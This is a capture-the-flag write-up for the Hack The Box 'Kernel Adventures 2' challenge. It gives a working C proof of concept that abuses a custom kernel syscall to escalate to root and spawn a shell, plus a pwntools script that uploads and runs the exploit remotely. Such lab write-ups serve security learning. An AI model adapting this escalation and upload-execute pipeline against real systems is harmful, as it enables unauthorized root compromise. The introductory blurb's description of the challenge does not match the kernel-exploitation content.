HackTheBox Kernel Adventures 2 Challenge
Explore the basics of cybersecurity in the Kernel Adventures 2 Challenge on Hack The Box. This medium-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.
https://app.hackthebox.com/challenges/258
Description
Apparently Linux authentication is done in userspace? That doesn’t sound safe, time to do it all in the kernel!
Exploitation
Examining the kernel diff, we notice the addition of several new syscalls, including one named magic with syscall number 449.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#define MAX_USERS 65535
#define MAGIC_SYS 449
void do_add(char* username, char* password) {
syscall(MAGIC_SYS, 0, username, password);
}
void do_delete(char* username) {
syscall(MAGIC_SYS, 2, username);
}
void do_switch(char* username, char* password) {
syscall(MAGIC_SYS, 3, username, password);
}
int main() {
char *user = "pwn";
char *pass = "12pwn34";
for (int i = 0; i < MAX_USERS; i++) {
do_add(user, pass);
if (i == MAX_USERS - 1) {
do_switch(user, pass);
char *args[] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
return 0;
}
do_delete(user);
}
for (int i = 0; i < 0xFFFFFFFF; i++) {
if (syscall(MAGIC_SYS, 0, user, pass) == 0) {
do_switch(user, pass);
char *args[] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
return 0;
}
do_delete(user);
}
return 0;
}
Use musl for compilation to produce more compact binaries.
musl-gcc -static -march=x86-64 -Os poc.c -o expl
Use this script to upload, decompress, execute the PoC, and get an interactive session as root.
#!/usr/bin/python3
from pwn import *
import base64,gzip
def get_process():
try:
host, port = sys.argv[1].split(':')
return remote(host, int(port))
except IndexError:
print(f'Usage: python {sys.argv[0]} <ip:port>')
exit(1)
chunk_size = 256
file_name = 'expl'
file_name_encoded = file_name.encode()
with open(file_name, 'rb') as inf:
exploit = inf.read()
data = base64.b64encode(gzip.compress(exploit))
conn = get_process()
n_chunks = (len(data) + chunk_size - 1) // chunk_size
for i in range(n_chunks):
print(f'Uploading the exploit: {i + 1}/{n_chunks}')
conn.recvuntil(b'$')
conn.sendline(b'echo ' + data[chunk_size*i: (i+1)*chunk_size] + b' >> /home/user/' + file_name_encoded + b'.base64')
print('Uploading the exploit: ' + str(n_chunks) + '/' + str(n_chunks))
conn.sendline(b'cat /home/user/' + file_name_encoded + b'.base64 | base64 -d > /home/user/' + file_name_encoded + b'.gz')
conn.recvuntil(b'$')
conn.sendline(b'cat /home/user/' + file_name_encoded + b'.gz | gzip -d > /home/user/' + file_name_encoded)
conn.recvuntil(b'$')
conn.sendline(b'chmod +x /home/user/' + file_name_encoded)
conn.recvuntil(b'$')
conn.sendline(b'/home/user/' + file_name_encoded)
conn.interactive()
cat /flag.txt
Summary
The Kernel Adventures: Part 2 Challenge on Hack The Box dives into kernel exploitation with a focus on syscall manipulation. This medium-level challenge introduces a custom magic syscall, enabling privilege escalation through user management. By leveraging compact PoC binaries and an efficient upload-execute pipeline, the challenge offers a hands-on experience in advanced exploitation techniques, culminating in root access and system compromise. Perfect for refining skills in kernel-level hacking.